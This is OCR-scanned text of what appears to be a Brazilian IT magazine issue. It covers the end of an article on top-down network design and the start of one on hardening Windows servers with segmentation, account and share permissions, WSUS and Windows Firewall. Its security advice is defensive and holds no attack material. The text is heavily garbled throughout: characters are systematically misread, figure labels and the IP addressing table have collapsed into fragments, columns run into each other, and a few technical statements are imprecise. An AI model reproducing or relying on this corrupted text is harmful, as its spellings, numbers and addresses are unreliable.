eventos de seguranga), a construgéo de filtros e listas de controle
de acesso e o roteamento por prefixos sumarizados. A Figura 11
ilustra um modelo de planejamento do enderecamento IP.

%;?‘;,‘7/ Nota do Devilan 2

Virtual Router Redundancy Protocol: Protocolo criado para assegurar alta disponibilidade da
rota padrdo (também denominada default gateway) para os dispositivos no segmento de rede local.
Desta forma, dois ou mais roteadores, geralmente configurados como master/backup, efetuam o
roteamento dos pacotes de dados encaminhados para seu endereco IP virtual.

Ja para as topologias de acesso a Internet, devem ser avaliados
cendrios com um ou mais roteadores, conectados a uma ou mais
operadoras de telecomunicag¢ées, conforme o requisito de dispo-
nibilidade mapeado na etapa inicial (Figura 10).

Empresa Empresa

Opgdo 1 Opgdo 2

Empresa

Empresa

Opcdo 3 Opcdo 4

\.

Figura 10. Possiveis topologias de acesso a Internet

Finalizada a arquitetura bdsica da infraestrutura, deve-se
seguir com a defini¢do de um modelo estruturado de endere-
camento IP. Este deve considerar a expectativa de crescimento
futuro, assim como os tipos de enderegos que serdo utilizados
(publicos ou privados), a forma de alocagdo (manual ou dinami-
ca) e o suporte ao protocolo IPv6 (mais detalhes no artigo IPv6:
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1Ps i R « P
Localidade Prefixo necessarios « SV pindmico?  Pblico?
‘
Sio Paulo 200.184.0.0/20 2000 2096 Nio Sim
Rio de Janeiro 10000723 300 212 Sim Nio
Porto Alegre 10020723 300 212 Sim Nio
Curitiba 10040723 Sim Nio

Salvador 10.0.6.0/23 Sim Nao

Figura 11. Modelo de planejamento do enderecamento IP

O projeto 16gico também contemplard a definigdo das politicas
de roteamento que serdo suportadas pela infraestrutura. Estas
selecionardo o melhor caminho para cada um dos destinos aces-
siveis através da rede de computadores. Os tépicos enumerados
a seguir abordam os principais aspectos que devem ser avaliados
nestas politicas:
¢ Dinamicas ou estaticas: a configuracao dos protocolos de rote-
amento disponibiliza um mecanismo dindmico (automético) para
a determinacdo do melhor caminho. Opcionalmente, em projetos
simples e pequenos, as rotas podem ser construidas estaticamente
(manualmente);
® Determinagdo do caminho: podem empregar o algoritmo vetor
de distancias (geralmente aplicado em topologias simples e planas)
ou o algoritmo estado de enlaces (habitualmente configurado em
topologias hierdrquicas);

e Métricas suportadas: utilizadas na determinagdo do caminho.
Comumente baseadas no niimero de roteadores até o destino (de-
nominado hop count), na largura de banda disponivel, no atraso
experimentado pelos pacotes, na confiabilidade do enlace ou em
seu percentual de uso;

e Escalabilidade: em grandes infraestruturas devem ser configu-
rados protocolos hierdrquicos que dividam o roteamento em 4reas,
pois estas apresentam convergéncia mais rdpida, necessitam de
menor largura de banda para enviar as atualizagdes e fazem uso
menos intensivo da memoria e do processamento nos roteadores;
e Internos ou externos: os protocolos de roteamento internos
calculam as melhores rotas por meio das métricas, priorizando o
desempenho da rede local; ja os externos, consideram os aspectos
politicos e financeiros no encaminhamento dos dados através
da Internet.

A lista a seguir apresenta os principais protocolos de roteamento:
e Routing Information Protocol (RIP) versdes 1 e 2;
¢ Interior Gateway Routing Protocol (IGRP);
e Enhanced IGRP (EIGRP);
e Border Gateway Protocol (BGP);
¢ Open Shortest Path First (OSPF);
¢ Intermediate System-to-Intermediate System (IS-IS).



Outro aspecto importante do projeto 16gico refere-se as estra-

tégias de seguranca a serem adotadas. Para tanto, devem ser
identificados os ativos de rede e os riscos associados ao seu com-
prometimento, com especial enfoque na anélise dos requisitos
mapeados na fase inicial. Destarte, serd possivel elaborar um plano
diretor com as principais diretrizes de seguranga da empresa,
entre elas, as politicas padrdo da corporagdo e seus procedimentos
de configuracao, implementagéo, auditoria e manutencao.

Por fim, também deverdo ser definidas as estratégias de ge-
renciamento, as quais auxiliardo no levantamento e na corregao
dos desvios no projeto. Estas determinardo quais recursos serdo
monitorados, as métricas utilizadas e as estimativas do volume
de dados que serdo capturados para andlise. O gerenciamento
envolve cinco dreas principais:

e Gerenciamento de falhas: trata da detecgdo, isolamento, anélise
e reparagao dos incidentes. Frequentemente sdo usados softwa-
res de monitoracdo que verificam periodicamente os servigos
e os dispositivos de rede. Estes tltimos podem também enviar
pré-ativamente mensagens dos eventos e erros (funcionalidade
conhecida com syslog);

¢ Gerenciamento de configurac¢do: acompanha a evolugdo das
configuracdes aplicadas aos equipamentos da infraestrutura,
gera inventdrios dos ativos e controla as versdes dos sistemas
operacionais e das aplica¢des instaladas;

¢ Gerenciamento de contabilidade: mantém o uso dos recursos de
rede por setores e por usudrio, possibilitando a divisdo e alocagdo
das despesas por centro de custo;

® Gerenciamento de desempenho: avalia o comportamento da
rede por meio da disponibilidade, da capacidade, dos tempos de
resposta, do volume de trafego e das alteracdes nos registros das
rotas para os destinos conhecidos;

® Gerenciamento de seguranca: assegura o cumprimento das
politicas de seguranga da empresa.

Neste ponto, o projeto l6gico estd concluido e a arquitetura da
solucdo foi definida a luz de todos os requisitos comerciais e téc-
nicos enderecados na etapa inicial. A préxima secdo descrevera
0s passos necessdrios para a elaboragao do modelo fisico da rede,
tratando das questdes relacionadas ao cabeamento, aos dispositi-
vos de rede e as tecnologias de conectividade.

Projeto fisico da rede

Nesta etapa, serd elaborado o projeto de cabeamento local, que
poderd ser centralizado ou distribuido (Figura 12). Na primeira
opgao, todos os cabos sdo encaminhados para uma tnica sala téc-
nica; na segunda, os pontos de rede sdo agregados em diferentes
dreas, as quais estdo interligadas entre si. S3o trés os principais
meios de transmissdo com possibilidades de uso:

e Fios de cobre: os bits sdo transmitidos na forma de sinais elétri-
cos. Incluem os populares cabos Shielded Twisted Pair (STP) e o
Unshielded Twisted Pair (UTP), que podem conectar pontos dis-
tantes em até 100 metros com velocidade maxima de 10 Gbps;

o Fibras éticas: encaminham os sinais na forma de luz. Sdo clas-

sificadas como multimodo ou monomodo: as primeiras possuem
menor custo e interconectam distdncias menores; ja as fibras
monomodo sdo capazes de interligar localidades distantes em
até 80 km. Ambas alcancam velocidades de até 100 Gbps;

e Sem fio: propagam os sinais sem a necessidade de meios
guiados. Envolvem diferentes tecnologias, como a WiFi (802.11
a/b/g/n), redes méveis 3G e 4G, transmissdo via satélite, entre
outras.

Concentragdo
de
cabeamento

Concentragdo
de
cabeamento

Concentragdo
de
cabeamento

Concentragio
de
cabeamento

TS

elbb0d ii

Panto central Ponto central
de Sala técnica de Sala técnica
cabeamento cabeamento
Cabeamento Cabeamento
centralizado distribuido

\

Figura 12. Topologias de cabeamento

Apbs a definicao da infraestrutura de cabeamento local, serdo
selecionados os dispositivos de rede necessarios para suportar o
projeto l6gico. Para tanto, os critérios abaixo podem servir como
balizadores para a avaliacdo comparativa entre as diferentes
op¢des disponiveis no mercado:

e Ntimero de portas;

e Velocidade de processamento;

e Quantidade de memoria;

¢ Throughput;

e Tipos de interfaces;

e Facilidade de configuracao;

e Protocolos de gerenciamento suportados;

e Custo financeiro;

e Fontes de alimentagdo elétrica redundantes;

e Disponibilidade do suporte técnico;

e Diferentes filas de qualidade de servigo;

¢ Funcionalidades e protocolos da camada de enlace;
¢ Funcionalidades e protocolos da camada de rede;
¢ Reputagdo do fabricante.
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Finalmente, o projeto fisico também poderd contemplar tec-
nologias de acesso remoto. Entre as alternativas do mercado,
destacam-se:

e Cable modem (CATV): conexdo banda larga oferecida pelas
empresas de TV a cabo utilizada principalmente por usudrios
domésticos;

e Asynchronous Digital Subscriber Line (ADSL): ofertada pelos
provedores de telefonia fixa majoritariamente para clientes resi-
denciais;

¢ Linhas privativas: circuitos digitais ponto-a-ponto comerciali-
zados pelas operadoras de telecomunicagdes;

e Multiprotocol Label Switching (MPLS): possibilita a interco-
nexao entre diversas localidades com classes de servigo distintas
(QoS);

e Metro ethernet: também suportado pelas operadoras de te-
lecomunicagdes, prové conexdes no padrdo ethernet, 0 mesmo
utilizado nas redes locais, para interligacdo de diferentes locais.

A préxima secdo abordard a tiltima etapa no desenvolvimento
de projetos de redes segundo a abordagem top-down. Serdo des-
critos os procedimentos para a realizacao de testes, as tecnologias
usualmente utilizadas a fim de otimizar a infraestrutura e as
instrugdes para a documentacdo formal do projeto.

Testes, otimizacao e documentacao do projeto

Os testes de validacao verificam se o projeto atendeu aos requi-
sitos comerciais e técnicos mapeados no inicio de sua concepgao,
ratificando as tecnologias e dispositivos selecionados e os niveis
de servigos praticados pelas operadoras de telecomunicacoes.
Além disso, possibilitam a identificagdo de gargalos operacio-
nais, de problemas relacionados a conectividade e dos indices de
disponibilidade da infraestrutura. A seguir, sdo apresentados os
componentes tipicos de um plano de testes:
¢ Objetivos dos testes e critérios de aceitagdo: sdo baseados nos
requisitos comerciais e técnicos. Devem declarar claramente os
resultados esperados, por exemplo: o teste de medicdo do tem-
po de resposta da aplicacdo XPTO durante o hordrio de maior
utilizagdo, entre 10h00 e 11h00, serd aceito se for inferior a 500
milissegundos;
* Tipos de testes que serdo executados: podem ser relacionados
ao tempo de resposta das aplicagdes, ao throughput, as validagdes
das aplicacées legadas, ao estresse dos componentes do projeto
ou a simulagéo de falhas;
® Recursos necessarios: devem ser enumerados e alocados pre-
viamente. Envolvem laboratérios, ambientes de produgéo, ende-
re¢os e nomes de rede, ferramentas para monitoracdo e injegdo
de trafego, energia elétrica, condicionamento de ar, gabinetes,
recursos humanos especializados nos componentes que serdo
testados, apoio dos usudrios, entre outros;
e Scripts de testes: procedimento detalhado que lista as etapas
de execucgdo, descrevendo as ferramentas a serem utilizadas e
as coletas relevantes, as informagdes registradas durante cada
iteracdo, a parametrizagdo inicial etc.;
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* Cronograma de execucdo dos testes: evidencia a data inicial,
a data final e os principais marcos do teste. Além disso, nomeia
o0s responsaveis pelas tarefas.

Durante a execugdo dos testes de validagdo podem ser descober-
tos pontos de melhoria no projeto, tais como: uso mais eficiente
da largura de banda, controle de atrasos e jitter, atendimento
preferencial para aplicacdes mais importantes, entre outros. Neste
cendrio, duas tecnologias de otimizag¢do podem ser aplicaveis: IP
multicast e qualidade de servigo.

O servico IP multicast pode ser caracterizado como um conjun-
to de protocolos e mecanismos que tornam possivel o envio de
mensagens simultdneas para um grupo de usuarios em uma rede
de dados IP (Figura 13). Entre outras vantagens da comunicagéo
multiponto, destaca-se o melhor uso dos recursos da rede, pois os
fluxos de dados sdo otimizados, sobretudo quando comparados
a transmissdo ponto-a-ponto (unicast).

Clieme A Cliente B Chente A Chente B

S 8

Chente ¢ Cliente D Cliente £ Cliente £ Oiente D Chente [

Fluos umiesnt Flumos multicast

\,

Figura 13. Comparagcdo entre os fluxos unicast e multicast

Ja os mecanismos de qualidade de servigo asseguram que os
dados mais urgentes sejam processados rapidamente, auxiliando
os roteadores a determinar qual pacote deverd ser enviado quan-
do diversos deles estao enfileirados para transmissdo em certa
interface de saida. Atualmente, o mecanismo mais utilizado é o
IP Differentiated Services.

Finalmente, ap6s a conclusao de todos os passos descritos ante-
riormente, o projeto de rede serd documentado. Existem diferentes
modelos que podem ser adotados, mas a documentagédo formal
tipicamente contém as se¢des a seguir:
® Sumadrio executivo: destinado aos responsaveis pela aprovagao
do projeto. Descreve suas vantagens comerciais, contextualizando
0s aspectos técnicos em um nivel superficial de detalhamento;
® Objetivo do projeto: geralmente descrito em um tinico paragra-
fo, apresenta o resultado esperado com a conclusdo do projeto;

* Escopo do projeto: determina a extensdo do projeto, mencio-
nando quais sdo as dreas envolvidas, os requisitos atendidos e os
aspectos ndo contemplados;

* Requisitos de projeto: incluem escalabilidade, disponibilidade,
desempenho, seguranga, gerenciamento, usabilidade, adaptabili-
dade e eficiéncia dos custos, listados conforme sua prioridade;

e Situacdo da infraestrutura legada: mapas que apresentam a
infraestrutura e a linha de base de desempenho da rede atual.



Detalham as VPNs, as VLANSs, os segmentos de rede, os fi-
rewalls, os clusters de servidores, o enderecamento IP, entres
outros componentes;

* Proposta de topologia légica e fisica: descreve as arquiteturas
l6gica e fisica concebidas, relacionando-as aos requisitos comer-
ciais e técnicos;

® Resultados dos testes: abordam as evidéncias geradas pelo
projeto entregue, conforme suas especificagdes e critérios de
aceitacdo;

® Plano de implantacao: delineia as recomendagdes para a im-
plantagdo (recursos humanos e materiais) e o cronograma com as
principais entregas. Geralmente também inclui as listas de riscos
conhecidos e planos de contingéncia, além das necessidades de
treinamento para as equipes técnicas;

® Orcamento do projeto: indica os custos para a aquisicdo de
hardware e do software, treinamentos, recursos humanos e con-
tratos de manutencdo, suporte e servigos terceirizados;

¢ Apéndices: compreendem os mapas topolégicos detalhados,
os modelos de configuragdo, as mintcias do enderegamento, os
nomes dos dispositivos, os resultados dos testes, os termos legais
e contratuais, entre outros anexos.

Concluséo

Os projetos de infraestrutura de redes de computadores podem
ser complexos, porque envolvem o conhecimento em sistemas
aplicativos, servidores, balanceadores de carga, roteadores e
firewalls, entre outros dispositivos. Além disso, possuem a fun-
¢do de determinar as tecnologias de conectividade e cabeamento
que serdo empregadas. Assim, é mandatério para o seu sucesso
a compreensdo clara de quais sdo os objetivos esperados com a
implantagdo e os requisitos comerciais e técnicos. Somente desta
forma, os componentes, os recursos e as tecnologias adequadas
serdo selecionadas para a defini¢do da arquitetura da solugdo
técnica e a proposigdo de projetos 16gicos e fisicos aderentes as
expectativas do solicitante.

A abordagem top-down é um método que apoia este mapeamen-
to de requisitos através de um processo sistematico e iterativo.
Composto por quatro etapas principais, o procedimento é iniciado
pela identificagdo do contexto onde o requisitante estd inserido e
pelo delineamento dos pontos que motivaram o projeto. Em se-
guida, sdo enderecadas as questdes técnicas, como escalabilidade,
disponibilidade e desempenho, entre outras, procurando determi-
nar quais sdo suas prioridades relativas. A segunda fase é funda-
mentada nestes dados, permitindo a elaboragao do projeto 16gico,
que descreverd as funcionalidades e as configuragdes necessdrias.
Posteriormente, sdo selecionados os dispositivos e as tecnologias

que suportam este modelo I6gico, criando o projeto fisico. Por fim,
atltima etapa valida a infraestrutura implantada comparando os
resultados obtidos aos critérios de aceitagdo enumerados na fase
inicial. Com base nestas observagdes, sdo propostas melhorias
por meio do uso de tecnologias como IP multicast e qualidade
de servigo. Neste momento, também sdo documentados todos os
dados, defini¢des e solugdes adotadas no projeto.

Este enfoque é benéfico para o desenvolvimento dos grandes e
complexos projetos de redes de computadores, porque impede que
as necessidades dos solicitantes sejam tratadas de forma célere e
superficial, gerando solugdes técnicas que ndo atendam as funcio-
nalidades esperadas e que resultem no fracasso do projeto.

André Koide da Silva

andre@aksilva.com i
Mestre em Engenharia pela Escola Politécnica da Universidade de

Sao Paulo, especialista em Redes de Computadores pela Universi-
dade Estadual de Campinas e bacharel em Sistemas de Informacdo pela
Universidade Presbiteriana Mackenzie. Atualmente é especialista em redes
de computadores pelo UOL Diveo, com ampla experiéncia em projetos e implementacéo
de solugdes Cisco Systems, Brocade Communications Systems e Juniper Networks. Atua
também como professor na Faculdade Impacta Tecnologia. Trabalhou em empresas como
Goldnet T, EDS (Electronic Data Systems do Brasil) - atual HP Brasil (Hewlett-Packard),
Alog Data Centers e Gennari & Peartree Projetos e Sistemas. Experiéncia de doze anos
na drea de redes de computadores e tecnologia da informacdo, além de seis anos como
docente do ensino superior nestas dreas. Certificado Cisco IP Communications Express
Specialist, Cisco Certified Network Associate (CCNA), Extreme Network Associate (ENA),
3Com Certified Wireless Expert, Juniper Networks Certified Internet Specialist (JNCIS-M),
Project Management Professional (PMP), Information Technology Infrastructure Library
(ITILv3) e 1SO/IEC 20000 - IT Service Management.

Artigo “Desafios da telefonia IP”, escrito por André Koide da Silva.
http://www.devmedia.com.br/desafios-da-telefonia-ip-revista-infra- @
magazine-2/22231.

Artigo “IPv6: Nova alvorada para o protocolo Internet’, escrito

por André Koide da Silva.
http://www.devmedia.com.br/ipv6-nova-alvorada-para-o-protocolo-internet-
revista-infra-magazine-3/22927.

Artigo “The Hierarchical Network Design Model’, escrito por Cisco
Systems.
http://www.cisco.com/web/learning/netacad/demos/CCNP1v30/ch1/1_1_1/
index.html.

Livro “Top-Down Network Design”, escrito por Priscilla Oppenheimer.
Cisco Press — Indianapolis, EUA - 2010.

Edicdo 08 « Infra Magazine 39



Seguranca para
servidores Windows

Protegendo sua infraestrutura contra ameacas

preocupagdo com a seguranca em infraestrutu-

ras Windows é uma realidade que vem crescen-

do a cada dia. Se o leitor acha que uma invasdo
externa é o tinico problema que as dreas de segurancga
enfrentam, estd enganado.

Em muitos casos, as brechas de seguranga estdo dentro
da prépria organizagdo, de modo que toda atengdo com
os diversos acessos e métodos utilizados se faz neces-
sdria, pois brechas de seguranca podem causar dores
de cabega em diversos niveis de uma organizacgao e,
inclusive, impactar no negécio principal.

Em uma infraestrutura de servidores Windows, o fator
segurangca é algo a ser observado desde o planejamento
do ambiente. Para isso, antes da instalagdo da estrutura,
muitos pontos devem ser observados para que realmente
se possa ter um ambiente seguro:
® Onde estes servidores estardo operando? Qual o
objetivo de determinada funcionalidade? Qual o
impacto que uma brecha de seguranga pode causar a
corporagdo?
® Meus servidores de banco de dados estdo corretamente
configurados? Estdo protegidos por firewalls? Minhas
aplicagdes web estdo livres de um ataque?
¢ Como funciona minha rotina de aplicagéo de patches
de seguranca? Estdo dentro dos prazos estipulados? O
nivel de criticidade de determinado fix de segurancga
estd sendo observado?
¢ O firewall do Windows nem sempre é levado a sério
e muitos administradores o desabilitam, simplesmente
porque um ou outro acesso é bloqueado. Como resolver
essa questdo?
® Quem acessa os servidores da corporacao? A estru-
tura de servidores Windows estd sendo administrada
corretamente e pelas pessoas certas?
¢ Os usudrios com poder de administragdo do dominio
tém ciéncia da necessidade de se analisar e verificar
vulnerabilidades de seguranga?
® Se perdermos toda a infraestrutura, em quanto tem-
po conseguiremos fazer toda a restauragdo? Nossos
backups estdo em perfeitas condi¢des?
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Resumo DevMan

De que se trata o artigo:

Neste artigo serao apresentadas as principais formas de se instalar um
ambiente de servidores Windows de forma segura, garantindo disponi-
bilidade do ambiente e evitando infec¢des e ataques de invasores que
buscam brechas em redes para acessar conteudos privados. Veremos
que a seguranca do ambiente deve ser idealizada desde o desenho da
infraestrutura, definicao da rede e servidores, até a implementacao de
aplicagoes e utilitarios.

Em que situagdo o tema é uitil:

Os pontos destacados neste artigo serdo Uteis paraa compreensao do
que sedevefazer e evitarem servidores Windows e definir formas seguras
de gerenciar e manter um ambiente Microsoft.

Seguranga para servidores Windows:

Asegurancaem servidores Windows é um tema de grande importancia
que deve ser sempre levado em consideracdo por aqueles que precisam
de alta disponibilidade e continuidade dos servicos da corporacéo. Este
artigo busca conscientizar profissionais técnicos e demais interessados
sobre a importancia de manter o ambiente seguro e livre de ameagas
internas e externas.

N J

¢ Qual solugdo de antivirus tenho em minha estrutura e como
funciona a distribuigdo das defini¢des de virus para meu parque
de estacoes?

e Como proteger minha rede caso um malware novo apareca
antes que meu parque de estagdes esteja atualizado?

® Do lado do usudrio final, temos uma politica de acessos bem
elaborada? O usudrio tem o acesso necessdrio a realizagdo de seu
trabalho sem comprometer a seguranga como um todo?

Todas essas questoes, se ndo levadas a sério, podem causar pro-
blemas e brechas de seguranga em uma infraestrutura.

Neste artigo, abordaremos cada uma delas a fim de conscientizar
o profissional de tecnologia sobre a importancia de se planejar,
implementar e administrar sua infraestrutura de servidores
Windows da melhor forma possivel para manté-la segura.



0s objetivos da infraestrutura Windows

A seguranga em servidores Windows é um tema a ser pensado
jd na concepcao da infraestrutura. Sendo assim, como montar
a estrutura de forma a garantir que os acessos fluam de forma
eficaz e segura? Este é um tema que deve ser abordado jd na
fase de montagem da rede.

A rede interna (a qual os usudrios acessardo) deverd estar
separada de outras que porventura possam ter qualquer tipo
de ligacado externa.

Servidores de banco de dados deverdo ficar em redes se-
paradas, protegidos por firewall, assim como os servidores
de aplicagdo, que, dependendo de sua criticidade, podem até
operar na mesma rede de usudrios.

Aplicagbes que recebem acesso de parceiros externos (em-
presas parceiras que utilizam, juntamente com os usudrios
internos, a mesma aplicagdo, seja para consulta, seja para input
de dados) devem ser totalmente isoladas da rede de usudrios,
sendo que os acessos internos deverdo ser criteriosamente
concedidos e controlados.

Veja na Figura 1 um exemplo de infraestrutura de servidores
Windows corretamente montada, pensando na seguranga.
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Figura 1. Exemplo de infraestrutura Windows segmentada e protegida para acessos internos
e externos

Nesta figura, vemos uma infraestrutura de servidores Windows
separada em DMZs (Rede Interna/Intranet, DMZ Extranet e
DMZ de Banco de Dados) que mantém os principais recursos
da corporagdo protegidos nos acessos interno e externo.

As aplicagbes internas que contém dados confidenciais ficam
na rede interna. Por sua vez, aplica¢cdes que tém seus acessos
compartilhados com parceiros externos, ou que tém acesso de
clientes, ficam em uma DMZ separada, geralmente denomi-
nada Extranet.

Geralmente ndo se dd acesso direto ao servidor de aplica-
¢do. Assim, a melhor forma de protegé-los, além do uso de

firewalls, é fazer a publicacdo das aplicagdes por meio do
Forefront TMG.

Desta forma, a requisigdo, interna ou externa, é direcionada
para o Proxy, que por sua vez a direciona para o servidor web
correto.

Os servidores de banco de dados ficam em uma DMZ se-
parada e protegida por firewalls, evitando a perda de dados
confidenciais. E importante que as permissdes de firewall
estejam corretamente configuradas, pois, caso alguma porta
seja bloqueada, o acesso a aplicagdo é comprometido.

Com todas as DMZs protegidas por firewall, garante-se a se-
guranca das redes e evitam-se ataques externos. As ranges de
IP usam IPs de classe C, ou os “IPs invélidos”, que ndo podem
ser acessados externamente.

Para que haja comunicagdo com a internet, o firewall de borda
se vale do protocolo NAT (Network Address Translation) para que
determinados enderegos IP da rede possam ser traduzidos para
enderegos validos para acesso externo.

Assim, podemos dizer que a seguranga em Windows Servers
se inicia na concepc¢do da infraestrutura.

Protegendo Servidores Windows na instalacao

Quando uma infraestrutura de servidores Windows é desenhada
e todas as fungdes sdo definidas, inicia-se entdo seu processo de
instalagao.

Neste passo, que vai desde a instalacdo do sistema operacional
até a configuragdo das aplicagdes que definirdo a fungao dos ser-
vidores, o administrador deve ser orientado a fazé-lo de forma a
garantir seguranga no uso e, desde seu inicio, eliminar brechas
de seguranca.

Apés a instalagdo do Windows Server 2008, é imprescindivel
corrigir uma brecha vastamente utilizada por invasores, que séo
as vulnerabilidades de servidor, sempre exploradas.

A vulnerabilidade de usudrios locais pode ser explorada em
usudrios criados manualmente e em usudrios criados pela ins-
talagdo de alguma aplicagdo ou os préprios usudrios de sistema.

Apbs ainstalagdo de um servidor Windows, estes usudrios devem
ser verificados quanto a seu parametro de “senha requerida”.

Contas locais como Guest (Convidado), que vém por padrdo
com a instalagdo do Windows, tém o parametro “senha requerida”
definido com o valor “ndo”, ou seja, uma senha néo é requerida
ao acessar o computador com esta conta, como pode ser visto na
Figura 2.

Dessa forma, um invasor pode, por meio de suas ferramentas,
usar esta conta para ter acesso a determinado servidor.

Esta mesma verificagdo devera ser feita em todos os usudrios
locais criados na instalagdo do sistema operacional e também em
usudrios criados na instalagdo de quaisquer outros aplicativos.

Outra vulnerabilidade a ser levada em consideragdo é aquela
que pode ser explorada na criagdo dos recursos mapeados em
pastas.

No momento em que se cria um mapeamento ¢ importante
definir quais usudrios e/ou grupos terdo acesso ao recurso.
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Nunca deixe um mapeamento com permissdo para “todos os usu-
drios” (Everyone), pois esta permissdo é uma grave vulnerabilidade
que é explorada diariamente por invasores.

Conta interna para arn n comn conuidadn an

aaa I
Nin
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2812 B82:46:51
@9:46:51

Figura 2. Output das propriedades de uma conta local que vem por padrao sem definicao de senha

A Figura 3 mostra a tela de configuracdo de um recurso de
mapeamento a ser definido em uma pasta do servidor.

Defina sempre os grupos e/ou users que poderdo se conectar
remotamente a este mapeamento para acesso a pasta. Nunca
deixe o grupo “Everyone” (Todos os usudrios) com permissao
e, de preferéncia, defina grupos de acesso, de modo a facilitar a
administragdo e a concessdo de permissao para futuros acessos
(ver Figura 4).
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Digite um nome e cligue em Adicionar ou clique na seta para encontrar alquém.
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2 Administrador Proprictdrio
Ectou com problemas ao compartilhar
| Compartilhar | | Cancelar

Figura 3. Tela de configuracdo de um recurso de mapeamento

O mesmo método devera ser levado em consideragdo para as
permissdes de pasta.

Além disso, existem diversos pontos de vulnerabilidade em
um servidor que podem ser explorados. Para ter ciéncia de todos
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eles, o administrador precisa de uma ferramenta que analisa
vulnerabilidades na rede (normalmente de terceiros). Assim, ao
se certificar de que o ambiente estd seguro, ele poderd corrigir
todas as brechas encontradas.

Para finalizar as recomendagdes de seguranga no periodo de
instalagdo do sistema operacional, é imprescindivel que as atua-
lizagGes de seguranga sejam instaladas por completo, deixando
o servidor no dltimo nivel de atualizagdes.

Normalmente, em toda primeira segunda ou terca-feira de
cada més, a Microsoft disponibiliza corre¢des de segurancga para
servidores Windows, para aplicagdes diversas e para estagdes de
trabalho.
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Figura 4. Configuracdo da permissdo de acesso a uma pasta em um servidor

Essas atualizagdes sdo disponibilizadas em todo computador ou
servidor conectado a internet. O utilitdrio do Windows Update
vai analisar o computador ou servidor e, em seguida, buscar as
atualizagbes que aquele dispositivo em particular necessitard.

Em muitos casos, o administrador tem o habito de buscar as atu-
alizagbes diretamente na internet, por meio do Windows Update.
No entanto, esse método ndo é o mais correto, pois, dependendo
do nivel de seguranca adotado no acesso a internet da corporagao,
o equipamento é exposto diretamente ao mundo externo sem as
devidas atualizagdes.

Portanto, 0 método mais correto a ser adotado é a utiliza¢do do
Windows Software Update Services (WSUS).

O WSUS é um software gratuito que gerencia o processo de
aplicacdo de atualiza¢des de seguranga, seja para servidores
Windows, seja para estagdes, e pode ser adquirido diretamente
do site de downloads da Microsoft (ver se¢do Links).

Fazendo uso do WSUS, o administrador poderd fazer escolhas
diversas: quais aplica¢des Microsoft —além do sistema operacional



Windows — receberédo as atualizagoes de seguranca, qual o peri-
odo de atualizagdo, além de poder aprovar ou ndo determinada
atualizagdo.

Normalmente, o acesso a um servidor dedicado ao WSUS é feito
por meio de uma diretiva de grupo definida no Active Directory
para uma ou mais Unidades Organizacionais (OU).

A Figura 5 mostra a console administrativa do WSUS sendo
visualizada a partir do Server Manager.

O aplicativo reconhece todos os computadores e servidores do
dominio e, mediante aprovagdo do administrador, procede com o
envio e com a aplicagdo das atualizagdes de seguranga, mantendo
o parque atualizado e seguro.

Usando o WSUS, além de se economizar em banda de internet,
evita-se uma brecha de seguranga e a exposicdo de servidores
na internet.
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Figura 5. Console de administracao do WSUS

A Figura 6 mostra o fluxo correto a ser idealizado para uma
aplicagdo de patches bem feita e segura.

O acesso ao Windows Update em cada servidor e estagdo é blo-
queado por uma politica do Active Directory, politica esta que
direciona todos os dispositivos Windows para o servidor do WSUS
que fica em contato constante com a internet, recebendo todas as
atualizagdes e as distribuindo para os servidores de acordo com
a politica a ser definida pelo administrador.

Para redes que ndo sdo gerenciadas pelo Active Directory, o
mesmo WSUS Server poderd ser usado, desde que haja comuni-
cagdo entre essas redes.

Basta ao administrador adicionar uma chave de registry que
apontard o servidor para o WSUS e bloqueara o acesso do servidor
ao Windows Update.

E importante que o administrador saiba quais softwares
Microsoft estdo instalados em seu ambiente por meio de seu
inventédrio de hardware e software, bem como saber a funcdo
de cada servidor dentro de sua infraestrutura. Dessa forma, o
responsdvel terd nogdo de quais atualizagdes deverdo ser requi-
sitadas no WSUS.

Figura 6. Fluxo seguro para aplicagdo de atualizacdes de seguranga com o Windows Server
Update Services (WSUS)

Firewall do Windows

Desde a versao 2003 do Windows Server, o firewall do Windows
pode ser habilitado e configurado. Inclusive, na versdo 2003 do
Windows Server existem mecanismos que avisam da necessidade
de se manter o firewall do Windows ativo.

Na maioria dos casos, o administrador, por ja ter um firewall em
sua estrutura, acabava por desabilitar o firewall do Windows.

Porém, a partir do Windows Server 2008, o firewall do Windows
é item obrigatério de seguranga, de modo que ao desabilitd-lo o
administrador encontra uma série de problemas: ap6s a instalacdo
do servidor, o firewall do Windows entra em operagao e fecha por-
tas como a 135 (RPC) e a ICMP (responsével pelo comando PING).
Assim sendo, o administrador deverd configurar as portas neces-
sdrias para acesso interno e externo no firewall do Windows.

Dessa forma, do Windows Server 2008 em diante, tornou-se
necessdrio configurar o que se pode acessar a partir do servidor
e o que se é possivel de acessar no préprio servidor.

O firewall do Windows, independentemente do firewall de
borda ou do firewall de retaguarda, deve ser configurado.

E possivel definir as portas que poderdo trafegar no servidor,
além de ajudar na protegdo da infraestrutura, principalmente em
servidores de banco de dados e de aplicagao.

Em um servidor SQL Server, o administrador pode, a partir
do firewall do Windows, permitir o trdfego na porta 1433 (porta
do SQL Server) e bloquear outros desnecessérios e que podem
comprometer a seguranga do servidor.

Caso este servidor se comunique com outros na rede, é possivel
definir os protocolos préprios para a comunicacao entre eles.

Na Figura 7 podemos ver a console avangada de configuragdo
do firewall do Windows com todas as regras de entrada, ou seja,
as regras que podem ou ndo permitir o acesso externo a um
servidor Windows.
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Para o caso de aplicagdes de terceiros que
usem portas TCP diferentes das listadas
na console, o administrador podera criar
uma nova regra, tanto para entrada como
para saida.

O firewall do Windows também pode
permitir ou bloquear um determinado
programa em sua execugao.

Na Figura 8 podemos ver diversos
programas sendo permitidos a partir da
opgao “Programas Permitidos” do firewall
do Windows.

Ao definir os pardmetros de seguranca
para servidores Windows, mesmo tendo
um firewall entre redes e na borda, usar o
firewall do Windows é uma opgao valida
para reforcar os niveis de segurancga in-
terna e externa.

Antivirus

Nao precisamos ir muito longe nesse
tépico para reforgar a necessidade de uso
de antivirus nas corporagoes.

Milhares de ameacas sdo desenvolvidas

Para permitir programas de terceiros, diariamente visando contaminar os mais
basta cadastra-los e definir o nivel de
permisséo (Domeéstica/Corporativa (privada)

ou P1iblico).

diversos ambientes. Por mais que prote-
¢Oes de firewall sejam definidas, o perigo
de infecgdo por virus é constante nas cor-
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Figura 7. Console de configuracao do firewall do Windows
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Figura 8. Console de configuracdo de programas no firewall do Windows
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poragdes, pois muitos sdo os casos em que
a infecgdo é gerada na prépria estrutura
interna da corporagéo.

Para definir a melhor ferramenta de anti-
virus para sua corporagdo, tenha em mente
que as atualizagdes tém de ser constantes,
eficazes e transparentes ao usudrio.

A maioria das solu¢bes concentra o
